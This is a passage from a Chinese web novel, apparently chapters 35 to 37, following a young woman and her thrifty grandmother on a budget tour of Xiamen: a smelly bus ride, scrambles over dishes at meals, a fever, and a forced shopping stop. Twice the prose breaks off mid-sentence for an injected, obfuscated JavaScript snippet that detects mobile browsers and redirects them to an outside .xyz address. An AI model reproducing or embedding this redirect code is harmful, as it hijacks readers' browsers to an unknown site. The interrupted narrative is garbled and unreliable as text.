常乐瞠目结舌,急声辩解:“姥,虽说话糙理不糙,但你这话也太糙了……不对,你这也没理啊!凭什么就赖到我们年轻人头上了?我们括约肌的消音功能也经常失灵的!” 前排小哥听到了两人的对话,回头望着她们,举起手发誓:“肯定不是我。要是我放的,我倒立吃屎。” 这话更糙。但常乐不管了,也跟着举起手,“我也吃!” 姥姥斜她一眼,“你吃屎也证明不了什么。你刚刚已经当着全车人的面,承认自己是狗了。” 常乐噎了下,恼羞成怒道:“姥!你到底是哪边的?咱们都是受害者,要一起找出凶手!” “算了吧,你把人揪出来了又能怎样?把他的屁.眼堵上吗?” “我会用正义的眼神谴责他!” 姥姥忍俊不禁,说:“身体里有气,不是从上面嗝出来,就是从下面放出来。这就跟咳嗽一样,是忍不了的。” 仿佛是为了验证她的话,戴口罩的大叔又咳了几声,脖子都憋红了。 不知过了多久,臭味才渐渐消散,常乐终于敢摘下口罩,大口呼吸着并不新鲜的空气。 但这事并未结束。 接下来的几个小时,臭味一波接一波地出现,有时辐射范围小,只有前后几排的人受到毒害。有时量大浓度高,全车的人,包括司机都能闻到。 导游脸色微微发绿,说话也没了力气:“我想再次强调一遍,请某些人注意素质!车厢是密闭空间,一个人的不文明行为,影响的是大家的健康与安全!” 到了中午,大巴车在一处高速服务区停下,全车人迫不及待地下了车,大口呼吸着新鲜的空气。 中午吃的是盒饭,常乐没什么胃口,把盒饭给了姥姥,自己花钱买了一桶泡面。 姥姥气不打一处来:“一出门就乱花钱!有饭不吃,吃这种垃圾食品。” 常乐瞟一眼盒饭里的内容:黏糊糊的米饭、预制菜鱼香肉丝、预制菜梅菜扣肉,以及预制菜麻婆豆腐…… 还不如这碗热气腾腾的泡面有营养呢。 吃过午饭,解决完内急问题,大家陆陆续续地上了车。常乐试图跟最后一排的两人商量着换个座,结果惨遭拒绝:“不行不行,我晕车,必须得开窗。” 常乐只好悻悻地回到原位。 下午的旅程更加难熬。常乐坐得腰酸背痛,只能来回变换姿势,一会儿侧躺着,一会儿硬挺着,一会儿将衣服叠成枕头垫在腰后。但都无济于事,每个姿势只能坚持五分钟。 她刚站起来活动一下筋骨,又被导游呵止了:“哎哎,小妹妹别站起来,注意系好安全带。” 常乐只好又坐回去,侧躺在椅背上,身体扭成S形,呆呆地望着窗外。 这日子何时是个头啊! 身体的难受倒是其次,精神的折磨才让人痛苦。 短暂的午休过后,文艺汇演又开始了,大爷大妈们各显神通,吹拉弹唱什么绝活都亮出来了,要不是导游不允许,他们都恨不得在过道来一段广场舞。 常乐的灵魂已经抽离了,双眼怔怔地盯着手机,都忘了自己要干什么。 手机上显示出她的搜索内容:如何让自己迅速耳聋。 耳膜的轰炸尚且可以忍受,但随时来袭的臭屁攻击,她是真的忍无可忍。 唯一的方法是像警犬一样四处嗅嗅,根据屁的浓度判断出毒源。但,就像姥姥说的,揪出来又能如何呢?总不能报警把他抓走吧? 所以只能忍着。 远处的夕阳渐渐落下,大巴车终于停在了一栋六层小楼前,一楼是餐厅,二楼挂着宾馆的招牌。周围是大片的农田,只有零星几栋自建房,亮着微弱的灯光。 大家也顾不了那么多,坐了一天车,早就腰酸背痛腿抽筋了。他们争先恐后地下了车,挤在行李舱前找自己的行李。 常乐扶着僵硬的腰,缓缓起身,只觉得屁股发硬,双脚肿胀,连路都走不稳了。 反观姥姥,跟没事儿人一样,依旧活蹦乱跳的。 也是,她吃得好,睡得香。常乐怀疑她的嗅觉也退化了,因为她从头到尾就没抱怨过一个臭字。 常乐一瘸一拐地下了车。 大部分人已经被导游带进了餐馆,常乐找到自己和姥姥的行李,跟在他们后头。 餐馆老板给他们安排了五张大圆桌。常乐和姥姥找了两个空位坐下,刚要喝口热茶缓缓,店员就推着小推车上菜了。 一盘玉米鸡丁刚上桌,几只勺子齐刷刷伸过去,几秒种后,盘子里就只剩下几颗玉米粒。 常乐茶刚喝到一半,见此情景,急忙放下茶杯,安慰自己:不要紧,这才刚开始,好吃的还在后头呢。 第二盘是麻婆豆腐。常乐暗自嘀咕:就没点闽南特色菜吗? 勺子迟了两秒伸过去,又秒空。 常乐:这也要抢?这群人是饿了多少天啊? 第三盘是白灼基围虾。菜还没上桌,全桌人就虎视眈眈盯着盘子,左手端碗,右手举筷,眼里闪烁着势在必得的光。 常乐活动了一下手腕,举起筷子,屏住呼吸,只等盘子落桌。 谁料,盘子还在空中时,已经有几双筷子伸了过去。 常乐急忙起身,伸出筷子,刚瞄准了一只大虾,忽然,整只盘子被人端走了! 常乐瞪大眼睛,简直不敢相信——左手边的红衣服大妈居然端着盘子,往自己碗里拨了半碗大虾。 实在太过分了! 常乐忿忿不平地说:“大妈,你别那么自私!我们这么多人呢,你一个人都抢光了,我们吃什么?” 大妈面不改色地将盘子放回桌上,还厚颜无耻地笑笑:“哎呀,你个小姑娘少吃点虾,里头有避孕药的,吃多了生不出孩子。” “哈!”常乐两眼发光,“还有这种好事?那我得多吃点!” 说时迟那时快,她迅速伸出筷子,从大妈碗里夹出一只大虾,放到自己碗里。 大妈急了,伸手挡住自己的碗,嚷嚷道:“哎,你这小姑娘怎么这么不懂事!有没有素质!” 常乐笑眯眯地说:“跟你学的。” 说完,她放下筷子,直接伸出手,抓住大妈挡碗的手往上掰,等空间足够大,又迅速伸出另一只手,探进她碗里,一把抓住两只大虾。 大妈又急又气,提起一口气,正要破口大骂,桌上又上来一盘辣炒花甲。 眼看盘子已经空了大半,她立刻没心情跟常乐掰扯了,着急忙慌地伸出筷子,往自己碗里夹了几枚。 常乐喜滋滋地看着碗里的战利品,正要跟姥姥分享,一转头,见她碗里已经有了两只。 “姥,你战斗力可以啊!”她惊叹道。 姥姥用筷子指了指隔壁桌,“那桌年轻人多,脸皮薄,不好意思抢菜,都给我抢了。” 常乐:“……” 还是年轻人好欺负啊。早知道就去那桌了。 这顿饭吃得……怎么说呢,气氛是烘托到位了,火药味十足,但菜的味道,只能说是一言难尽。 她根本没吃几口,纯纯是气饱了。 一有好菜上桌,红衣服大妈就故技重施,把餐盘抢过去,给自己拨一半。 常乐看得直怄火,又不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737364|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能老去抢她碗里的东西,毕竟她碗里还有些残羹冷炙,怪恶心的。 幸好姥姥时常去年轻人那桌抢菜,抢到什么吃的,都会给常乐分一点。 常乐吃着碗里的糖醋里脊,心里挺不是滋味的。 在家里什么美味佳肴吃不到?大老远跑这儿来体验难民生活,何苦呢? 晚上的住宿就在这家餐馆楼上,住宿条件也不尽如人意。空调泛黄,马桶反味,床单枕套有不明污渍,桌上放着两瓶不知名的矿泉水,电视机还是那种早该被淘汰的盒式电视机…… 常乐叹了口气,一屁股坐在单人床上,感觉浑身的力气都被抽空了。 算了,就这样吧,499,还能指望住什么五星级大酒店吗? 群里有人吐槽条件太差,导游大言不惭地说:【相信大家已经住腻了那种连锁酒店,所以这次就带大家体验一下我们厦城的特色民宿……】 啰里八嗦说了一大堆,最后还不忘叮嘱道:【大家早点休息,别忘了明天早上六点集合哦。】 常乐又长长地叹了口气。 起这么早,是要去海边看日出,还是要去学校看升旗啊? 起早贪黑,累得要死,睡不好还吃不饱,这跟上高中有什么区别? “别唉声叹气了。”姥姥蹲在地上,从行李箱里取出两人的衣物,“赶紧去洗澡!” 在忽冷忽热的花洒下洗完澡,常乐哆哆嗦嗦地出来,从床头柜里找到一台松松垮垮的吹风机。 这古董般的玩意儿,真的能用吗?该不会漏电吧? 常乐小心翼翼地插上插头,打开开关,调到热风。 刚吹了几秒,“啪——” 断电了。 常乐对着黑漆漆的房间翻了个白眼。 手机亮了一下。她拿起一看,群里又炸开了锅。 导游解释道:【民宿老板说,平时使用大功率电器是没事的,但今天住的人比较多,所以还请大家不要使用吹风机。】 不一会儿,电就恢复了。 常乐不敢再尝试吹风机,只得用毛巾一遍遍搓着头发,尽量将水分吸干。 还不到九点,她已经饿了。她打开手机,想点外卖,却发现必须把定位改到五公里外的小镇上,才能看到寥寥几家门店。 常乐:“……” 她错了。这日子比高中还惨。 晚上睡觉前,姥姥咳了几声,常乐也忍不住跟着咳嗽。 “姥,我喉咙有点痒。”常乐重新开灯,给自己灌了半瓶矿泉水。 “我也是。”姥姥有气无力地说,“别喝太多水,晚上要起夜,麻烦。” 关上灯,常乐躺在床上,心里叫苦不迭。 被窝是潮的,空气中有厕所的反味,不时能听见楼上的冲水声。 这才第一天,她就已经历尽人间疾苦,之后的几天可怎么熬啊? 想想就头疼。 第二天,闹钟响起时,天还没亮。 房间里光线昏暗,常乐艰难地睁开一只眼,从被窝里伸出胳膊,揉了揉脑袋。 姥姥也被闹钟吵醒了。她哑着嗓子,催促常乐:“你先洗,洗完了叫我。” 常乐挣扎着爬起来,双脚刚一落地,就感觉头重脚轻,浑身酸软无力。 “姥,我头疼。”她揉了揉太阳穴,里头好像有根筋突突地跳得厉害。 姥姥翻了个身,睁开惺忪的睡眼,瞪着她。 “肯定是昨天累着了。赶紧的,洗个脸就好了。” 洗完脸后并没好,常乐只觉得头疼得更厉害了,双腿无力,走路都开始打颤。 姥姥下了床,脚步蹒跚地走到洗手间,开始刷牙。 她的脸色也不太好,整个人透着疲态,困得眼睛都睁不开。 “姥,要不请个假吧?” “那不是白来了吗?”姥姥满嘴喷白沫,态度坚决,“来都来了,难道要在民宿躺一天?忍忍就好了,待会儿上车补个觉。” 常乐轻呵一声。 补觉?一个大嗓门且话痨的导游,一群表演欲旺盛的大爷大妈,能让她安心补个觉? 常乐拗不过姥姥,只好忍着头疼换好了衣服,检查好装备,在六点还差五分时出了门。 天空倒是很美,地平线上蔓延开一抹绯红,渐渐变成橙黄,连接着上方的浅蓝,如同一幅绚丽的水彩画。 在大巴车前,导游给大家发放早餐。常乐领到了两个温热的小包子、一个温热的水煮蛋,以及一小盒酸奶。 还不错,至少早餐是热乎的。她打起精神,咬了口包子。 第一口,没看到馅。 第二口,没了。 常乐无语了。 馒头就馒头呗,她又不嫌弃,干嘛伪装成包子来欺骗她感情。 匆匆吃完早餐,常乐扶着姥姥上了车。 她吸取昨天的经验教训,抢先占领了最后一排靠窗的位置,打开车窗,尽情呼吸着清晨微凉的空气。 新的一天,新的历劫,开始了。 36. 36 大巴车穿过农田、经过城乡结合部、驶过宽阔的马路,窗外终于出现了城市的景观。 常乐低头研究手机里的地图,厦城分为岛内和岛外,景区大多集中在岛内,而他们昨晚住的民宿,位于岛外最偏远的乡村,旁边就是省道。 难怪要起这么早。常乐暗暗嘀咕,这种美团和大众上都找不到的破烂小旅馆,是怎么被旅行社这帮人给挖掘到的? 两个小时后,大巴车终于在码头停下。导游举着小旗子,一伙人跟在她身后,登上了去往鼓浪屿的轮渡。 今天天气不错,天空碧蓝,海水——如果这也算海的话——不如常乐想象的那般蓝,但也算清澈。渡船晃动的幅度不大,但常乐仍感觉脑袋晕乎乎的,甚至有点想吐。 “姥,你头还疼吗?”她一手抓紧栏杆,一手搀扶着姥姥。 姥姥嘴唇紧抿,目视着前方,花白的鬓发在海风中起舞。 “没事。”她摇摇头,“应该是没休息好。中午补个觉就好了。” 常乐无言以对。 早晨出门前,姥姥就说在车上补个觉就好。可是这一路上,导游就没消停过,介绍完今天要去的景点后,就开始逐个点名上来表演节目。 昨天给全车人留下深刻印象的常乐,当然不会被她放过。 但不管她怎么起哄,怎么激将,常乐都不为所动。她戴着口罩,双臂抱怀,眼神空洞地盯着导游,仿佛在看一团空气。 导游最终没有如愿。但常乐也没好到哪儿去,全程两个小时,她就眯了不到十分钟,还是因为导游的话筒没电了。 中午再补个觉? 这个愿望有点奢侈。 二十分钟后,轮渡终于靠岸,游客们一窝蜂地下了船,导游摇晃着小旗子,将大家聚集到一处。 “现在大家自由活动,可以乘坐电瓶车环岛游览,欣赏沿途的自然风光,也可以往里面走走,欣赏中西合璧的历史建筑,感受鼓浪屿的人文风情。”她低头看了眼手机,“现在是八点五十,给大家一个小时,九点五十在这里集合。” 常乐:???她没听错吧?就一个小时? 她在网上搜的环岛攻略,最快的也得半天时间呢。 导游话音刚落,一群人就作鸟兽散。常乐拉着姥姥,沿着一条蜿蜒的小路往上走。 “姥,我查过了,岛上的景点有日光岩、菽庄花园、皓月园什么的,咱们开启特种兵模式,争取一个小时内逛完!” “没问题!”姥姥也干劲十足,迈开大步跟在她身后,走了没一会儿,忽然想到一个关键问题:“你说的这些景点,要不要门票啊?” 常乐头也没回:“当然要啦,不过不贵——” “那算了。”姥姥一把撒开她的手,坐在路边的花坛上,“要门票就不去了。” 常乐气得脑袋疼:“不是,人家好歹是个5A级景区,收点门票不过分吧?而且我查过了,买联票可以省不少钱呢。” 姥姥摆摆手,“才一个小时,就随便逛逛吧,别折腾了。” “姥儿,”常乐不得不搬出万能句式,“咱们来都来了……” 可是,不管她怎么软磨硬泡,姥姥都软硬不吃。 “算了算了,”常乐终于放弃了,双手掐腰,大喘一口气,“随便逛吧。一分钱别花,什么都别买!” 时间已经过去了十分钟。 常乐拉着姥姥在巷子里一顿暴走,碰到好看的地方就停下来拍拍照,走到一片热闹的商业区,趁着姥姥上厕所的工夫,常乐以迅雷不及掩耳之势,冲到一个卖海蛎煎的小摊面前,急吼吼地说:“给我来一份!” 旁边是卖烧仙草的。常乐觉得好奇,也买了一杯。 正要去前面的沙茶面店看看,姥姥出来了,在人群中迅速锁定她的背影。然后,一只枯瘦的爪子伸过来,揪住她的帽衫。 常乐一手端着烧仙草,一手提着海蛎煎,嬉皮笑脸地说:“姥,我这不是怕你饿了嘛,嘻嘻。” 姥姥冷着脸,瞟着她手里的食物,问:“花了多少钱?” “没多少。”常乐厚着脸皮说,“老板看我好看,免费送的。” 姥姥翻了个白眼,视线越过她的肩,望向小摊的招牌—— 海蛎煎,25元一份, 再看向旁边,烧仙草,每杯15元。 “记你账上了。”姥姥松开爪子,掏出手机,啪啪打字,“还有上次买泡面花了10块,你已经花了50了!” 常乐一脸无所谓,吸了一口烧仙草,然后递到姥姥面前,怂恿道:“姥,试试呗。” 姥姥皱着眉头浅尝了一口,嫌弃道:“噫,又苦又甜的,难喝死了。” 一旁卖烧仙草的大婶:…… 姥姥又说:“吃完赶紧回去,已经九点半了。” “不是吧?”常乐不乐意了,“这才刚进入主题就要回去了?” “你旅游的主题就是吃吃喝喝?” “那我想逛景点,你又不让。” “……”姥姥噎了一下,拽住她的胳膊,“走了走了,迟到了耽误大家的时间。你一个人耽误一分钟,五十个人就要耽误五十分钟。” 姥姥一路上连拖带拽,健步如飞,终于赶在九点五十分之前,拖着常乐回到了码头边。 此刻,回来的游客并不多。导游坐在石墩上,休闲地刷着手机。 “人呢?”常乐环顾四周,“这不都到时间了吗?” 导游漫不经心地说:“再等等吧,等人齐了一起出发。” 常乐夹了一块海蛎煎塞进嘴里,心情郁闷。 早知道大家都不准时,她就该多逛会儿。这世上吃亏的永远是老实人。 十点了,导游起身清点人数。 “……还差两个,吴翠和孙秀琴。”她伸长脖子,东张西望,“大家有没有她们的电话,催一催,船马上就要开了。” 姥姥急忙掏出手机,翻找孙婆婆的号码。 就在这时,远处传来一道女声:“哎——等会儿!” 常乐回头一看,一只灰色的貂正向他们奔来,手上还甩着几个纸袋。 后面跟着孙婆婆,她跑一会儿歇一会儿。五分钟后,终于回到大部队,她扶着老腰,大口大口地喘着气。 “去哪儿了,老孙?”姥姥轻拍着她的后背,给她顺气。 孙婆婆还是喘不过气,翠姨一脸喜气地接话:“她去了日光岩。有句话说,不到日光岩,不算到厦城。站在上面可以看得老远呢。” 她停顿一下,提起手中的纸袋,略带炫耀道:“不过我没去。我在附近逛了逛,买了好几条珍珠项链呢。” 听到这话,导游脸色有些不悦,故作惋惜道:“哎呀,你怎么在这里买啊?这边的店都是骗人的。我下午带你们去一家商场,那里的珍珠才又好又便宜呢。” 常乐撇撇嘴:我信你个鬼! 姥姥扶着孙婆婆,问:“老孙,日光岩要门票吗?多少钱啊?” “不要钱。”孙婆婆摆摆手,“65岁以上免费。” “啊???”常乐和姥姥同时发出惊呼。 两人对视一眼,脑子里飘过同一个念头—— “亏大了!” 一行人顺利搭上返航的轮渡,又坐上大巴车,抵达下一个景点——厦城大学。 漂亮的校门如同偶像剧里的布景,常乐忍不住幻想,在美丽的校园里化身楚雨荨,上演一段“艾利斯顿商学院,我终于考上了”的桥段。 一行人在校门口集合,齐喊“茄子”,拍了张大合照。 接下来的几分钟,大家各自跟校门合影,P图精修,顺便发个带定位的朋友圈。 常乐一直等着导游带自己进去,结果,导游大手一挥:“上车!咱们去下一个景点。” “这就走了?”常乐大失所望,“不进去逛逛吗?” “进厦城大学参观需要提前预约,咱们没预约,所以进不去。”导游说得理直气壮。 常乐目瞪口呆。 那你倒是给我们预约啊! 导游不就是干这事的吗? 这两天经历的奇葩事太多,常乐已经没有力气去吵架了。更何况,她现在头疼得更厉害了。 大巴车绕着厦城大学,将一行人带到一片沙滩,隔着一道天桥,是大学的另一处大门。 又是一个小时的自由活动时间。 常乐没什么心情,坐在沙滩上,眺望着并不宽阔的大海,手指胡乱扒拉着沙子。 不远处,有个卖椰子的小摊。 “姥,”她又蠢蠢欲动了,“我想喝椰子。” 姥姥拧开保温杯,递给她,“喝两口茶解解渴。” “我就是要喝!”常乐来了脾气。好不容易出来一趟,吃也吃不好,玩也玩不好,还不让花钱,这不是纯纯找虐吗? 她起身拍拍屁股上的沙,气冲冲地朝小摊走去。 走了两步又停下,回头征求姥姥意见:“你喝不喝?” 姥姥头摇得很坚决,“我不喝那玩意儿。” 不喝拉倒。常乐大步向前走,不一会儿就回来了,怀里抱着一个开了口的青皮椰子,里头还插着根吸管。 她坐回姥姥身边,捧着椰子,嘴里咬着吸管。 “甜不甜?”姥姥状似不经意地问。 “……” 常乐犹豫了两秒,将椰子递到她面前。 “要不我再去给你买一个?”她问。 姥姥一边摆手,一边低头吸着椰子水,还说:“我不爱喝这玩意儿。” 常乐:“……” 那你倒是松口啊! 今天状态不好,玩得也不尽兴,常乐连拍照的心情都没有。 她百无聊赖地眺望着海面。在潮湿的海风中,她的脑海中忽然浮现出一个女孩的脸。 “郁青姐就是这所大学毕业的。”常乐自语道。 姥姥的嘴终于离开了吸管,“谁?” “林郁青啊。她也是教师小区的,她妈妈是实小的老师。”常乐努力在记忆库里搜索林郁青的信息,“她比我大几岁,成绩很好,我初三那年,她还给我补过课。” “哦!”姥姥想起来,“她妈是实小的叶老师,叫叶、叶什么雯来着。” 常乐点点头,继续回忆道:“我初三那年,她刚高考完,我妈就把我送到她家补课,补了一个暑假。说实话,要不是她,我还不一定能考上高中呢。” 姥姥指了指身后的学校大门,问:“她毕业了吗?” “早毕业了,听说留在厦城工作了,还自己买房买车了呢。” “真厉害。”姥姥感叹道。 过了会儿,她忽然想到什么,急忙问常乐:“哎,她是这所学校毕业的,应该可以随便进出校门吧。要不你跟她联系联系,让她带我们进去?” 常乐抗拒道:“能不能有点边界感?别老是麻烦人家,进不去就算了嘛——” 话未说完,就被身后一道带着浓重口音的男声打断:“我可以带你们进去啊。” 常乐和姥姥同时回过头。 一个皮肤黝黑的中年男人蹲在她们身后,穿着条纹POLO衫,斜挎着一个小黑包,听口音像本地人。 常乐挑起眉,试探着问:“怎么进去啊?” “我有办法啦。”黑皮男一脸神秘。 常乐保持着警惕,问:“多少钱?” 黑皮男伸出两只手指,“一个人二十,保证能带进去。” 倒是不贵,但是不管常乐怎么套话,他就是不肯说是什么办法。 万一是把门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742713|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卫打晕,那她们岂不成了帮凶? 经过深思熟虑后,常乐坚定地拒绝:“算了,我们时间不够,就不进去了。” 黑皮男站起身,悻悻地走开了。 常乐盯着他的背影,实在好奇。见他很快又勾搭上了两个年轻女孩,一番交涉后,年轻女孩点点头,掏出手机扫码付费。 “走。”常乐拉起姥姥,小声说,“跟过去看看。” 她们远远地跟在黑皮男和两个女孩后面,看着他们穿过天桥,但是并没有直接进校门,而是沿着围墙走了五分钟,最后钻进了一片高大的散尾葵里。 常乐弯着腰,偷偷钻进去,很快跟上他们。 只见黑皮男不知从哪儿搬来一把梯.子,架在围墙上,催促女孩们赶紧爬上去。 其中一个女孩有些犹豫,问:“那我们怎么下去啊?” “哎唷,美女,放心啦,那边有我朋友接应,不会摔倒的啦。”黑皮男拍着胸脯保证。 常乐又震惊又想笑。 还以为他有什么妙招,原来就是翻.墙啊,也没什么技术含量嘛。 “歪门邪道。”姥姥骂了一句,扭头钻出了散尾葵。 常乐追上去,挽着她的胳膊,“算了,咱们就在海边散散步吧,也挺惬意的。” 集合时间很快就到了,也许是海边实在没什么好玩的,这次大家都到得很准时。 大巴车又行驶了十几分钟,停在了一片叫曾厝垵的商业区。在导游的带领下,他们沿着巷子七弯八绕,最后进了一家不起眼的海鲜大排挡。 这家店装修简陋,店里空荡荡的,没有一桌客人,空气中还隐隐有股臭鱼烂虾味。 常乐有种不祥的预感。 但她已经麻木了。 算了,有什么吃什么吧,吃不死就行。 常乐让姥姥先进去占座,自己折返回去。 刚刚穿过小巷时,她注意到路边有家药店,忽然想起还欠大叔一包口罩。 付完钱后,常乐脚步一顿,转身又问店员:“我可能是感冒了,有些头疼,有什么药推荐吗?” 店员问:“还有其它症状吗?发不发烧?” 常乐回忆道:“我也没测过,就觉得喉咙痒,脑袋疼,浑身酸痛……像是阳了。” 店员掏出温度计,给她测了个耳温。 “37度8,低烧。结合你说的症状,应该是病毒感染。”店员给她拿了一盒对乙酰氨基酚,叮嘱道,“它能缓解发热和疼痛,让你好受一点。不过病毒性感冒只能靠人体免疫系统硬抗,所以最近要注意休息,多喝热水。” “谢谢。”常乐付了钱,正要离开,又想到一件事:“再给我拿一包口罩吧。” 常乐戴着口罩回到大排档,在姥姥身边坐下。面前的碗里已经堆满了食物。 姥姥又给她夹了几根青菜,说:“再不回来,菜都快抢光了。” 常乐环视桌面一圈。她想起上车前,导游还信誓旦旦说中午吃海鲜大餐,结果这满满一桌菜,能称之为海鲜的,只有一盘辣炒花甲,和一碟酱油水小杂鱼。 哦,还有一盆涮锅水似的的紫菜蛋花汤。 常乐夹起花甲里的肉,塞进嘴里,刚嚼一口,就听到“咯噔”一声脆响。 常乐脑子都震懵了。 她吐出花甲肉,表情痛苦。 这花甲是刚从海滩里淘出来的吗?这么多沙,差点把她的牙给崩碎。 旁边的年轻小伙子已经放下了筷子,生无可恋地喝起了大麦茶。常乐也给自己倒了一杯涮涮口。 “哎,小妹妹。”小伙子开玩笑地喊她。 常乐瞪着他,这才认出,他就是昨天坐在她前排、发誓要吃屎的那位小哥。 “问你件事儿。”他放下杯子,一本正经地说,“你找到放屁的凶手了吗?” 常乐皱起眉头。昨天的痛苦回忆又席卷而来,她甚至还能隐隐闻到那股臭味。 “……还让不让人吃饭了?”她长叹一口气,“没找到。你有什么线索吗?” 小哥指了指她下巴上的口罩,问:“你是感冒了吗?” 常乐以为他是介意这个,赶紧擦了擦嘴,戴上口罩。 “我应该是阳了。” 小哥说:“我也是。昨天晚上喉咙有点痒,今天早上起来就头晕脑胀的,跟我当初阳了的症状很像。” 常乐点点头。同是天涯沦落人,然后呢? “你想说什么?” “我刷到一篇帖子,说现在流行一种病毒,会让人不停地放屁,闻到屁味的人也会被感染。” 常乐:“……” 大兄弟,你是认真的吗? 还是在构思一篇末世小说? 怎会有这么无厘头的病毒? 小哥见她满脸狐疑,便掏出手机,熟练地打开小红书,找到一篇帖子。 “你自己看。”他将手机递过来,“这个人说他在飞机上闻到了屁味,还不止一波,当天晚上他就发烧了,确诊是病毒感染。” 常乐拿起手机,一目十行地看完帖子,仍半信半疑。 继续往下看评论,底下居然有不少人表示,自己也有相似的经历。他们还给这种病毒起了个通俗易懂的名字——“放屁株”。 噫…… 越看越像真的。 这病毒也太变态了,变着法儿地残害人类啊。不仅攻击她的身体,还要折磨她的精神。 常乐顺着这条思路分析道:“所以说,昨天那个放屁的人,已经感染了病毒?” 小哥点点头,继续提醒她:“你想想,昨天咱们那一圈人,谁最像生病了?” 常乐脑子里白光一闪。 所有事情都串联起来了。 她的手揣在兜里,不自觉攥紧了口罩。 37. 37 吃完中饭,大家都无精打采地往回走。几个年轻人没吃饱,在路边买了几串烤鱿鱼。常乐也想买,一转头,看见姥姥威胁的眼神,又忍住了。 算了算了,就当减肥了。 上车前,她追上那位戴口罩的大叔,拍拍他的肩膀。 大叔正挽着一个步履蹒跚的老婆婆,看年龄,应该是他妈。他回过头,看到常乐,神色有些诧异。 “大叔,”常乐从兜里掏出一袋口罩,“昨天跟你借的口罩,说好了下车还你。” 大叔眉头瞬间松下来,眼角笑出层层褶皱,“嗐,这点小事,你还一直记着……”他犹豫了下,接过口罩,“行吧,那我就收下了。” 常乐手重新插回兜里,视线在他和老婆婆之间打转,几次欲言又止。 “还有事吗?”大叔问。 “呃,我……” 常乐本想毫不留情地指出他的不文明行为,或者用正义的眼神谴责他,可是,当真的站在所谓的“凶手”目前时,她忽然觉得……很难开口。 何必呢? 又不是多大的事,大叔只是生病了,又不是故意要释放毒气祸害全车百姓。 算了算了。 “大叔,”常乐换了个随意的语气,“我看你身体好像不太舒服,是不是病了?” 大叔咳嗽几声,“是有点,最近又有一波流感病毒,我应该是中招了吧。” 常乐意有所指:“病了就好好在家休息,等调养好了再出来玩嘛。” 大叔点点头,“我也想啊。但是我妈年纪大了,一个人出来玩,我不放心。” 老婆婆冲常乐笑了笑,带着几分歉意。 常乐也尴尬地笑了下,冲他们摆摆手,“嗐,没事了,你们赶紧上车吧。” 她回头去找姥姥,却发现她就站在身后。 等大叔和老婆婆上了车,姥姥搡了搡常乐的胳膊,小声说:“还算你有点人性。” “何止是人性,简直是圣母的光辉啊。”常乐都要被自己感动了。 姥姥嗤笑一声,跟在她后面上了车,径直奔向最后一排。 坐好后,姥姥又悄声说:“我有时候觉得你太较真了,一点小事都揪着不放。这世上很多事,都是睁一只眼闭一只眼就过去了,没必要刨根问底。” “我只是好奇嘛,又没打算把他怎么样。”常乐解释道,“难道你就不想找到凶手?” 姥姥得意地挑挑眉,“我早就看出来了。昨天在车上,他只要一挪动屁股,过个几秒钟,我就会闻到臭味。” 她瞟了常乐一眼,“哼,哪像你,眉毛底下两个蛋,只会眨眼不会看,一点都不留心观察。” 常乐惊呼:“那你不早说!” “我都说了,一点小事,没必要揪着不放。”姥姥摆摆手,“行了,这事儿翻篇了,赶紧补个觉。” -- 下午,蓄谋已久的购物环节终于上线了。 导游把大家领到一处大卖场,激情澎湃地说:“大家既然出来玩,就要多消费。现在国家正在积极扩大内需,内需是什么?就是消费啊!你花得越多,对国家GDP的贡献也就越大。国家兴亡,匹夫有责啊……” 常乐跟姥姥无语地对视一眼。 一上来就要拔到这种高度吗? 导游继续介绍:“这个商场是厦城最顶级的商场之一,大家可以看到,里面的珍珠、玉器、银器,应有尽有,还有不少免税商品,比如乳胶枕头、进口锅具,比你们在网上买的便宜多了。你们来这里就是赚到,买得越多,赚得越多……” 旅游团的老套路了,大家出发前都做好了心理准备,所以对她的一系列洗脑话术都没什么反应。 直到身后的卷帘门“哗啦”一声关上。 常乐顿时急了,嚷嚷道:“关门干嘛啊?” “小妹妹放心,时间到了自然会让你们出去。”导游不怀好意地笑道,“现在,大家可以自行选购商品。” 大家都站在原地,表情迷茫。 像一群待宰的猪。 翠姨率先离开大部队,凑到卖珍珠的柜台前,俯身查看价格,嘀咕道:“比我买的贵多了。” 导游也凑了过来,极力推销道:“但是品质好多了呀,你看看这光泽度、这圆润度……” 翠姨一脸嫌弃地撇撇嘴,转向了另一个柜台。 常乐扶着姥姥四处转悠,准备找个角落苟着。这时,一个瘦高个的男店员飘了过来,紧跟在她们身后,彬彬有礼地说:“两位需要什么呢?我可以帮你们找找。” 姥姥回过头,毫不客气说:“我需要椅子。这么大一家店,连个坐的地方都没有,你们的服务也太差了。” 店员的笑容仍挂在脸上,“抱歉,我们只提供购物服务哦。您是身体不舒服吗?我推荐您看看我们的乳胶床垫……” 他巴拉巴拉说了一大堆,常乐和姥姥一句没理会。 在绕场一圈,确认没有一处可以休息的地方后,两人直接靠墙坐在地上,各自玩起了手机。 男店员翻了个白眼,又飘走了。 “姥,千万不要信他们的鬼话。”常乐压低声音,叮嘱姥姥,“要买也别在这儿买,都是骗钱的。” 姥姥也小声道:“我知道,别忘了咱家的家训——” “一分钱别花,什么都别买。”常乐回她一个坚定的眼神,“我肯定不买。” “咱们就待在这儿,别分开了,小心他们各个击破——” “两位在这儿忙什么呢?”导游的声音突然在头顶响起,打断她们的对话。 “哦,我发烧头疼,在这儿歇会儿。”常乐抬起头,面不改色地说。 反正她也没撒谎。 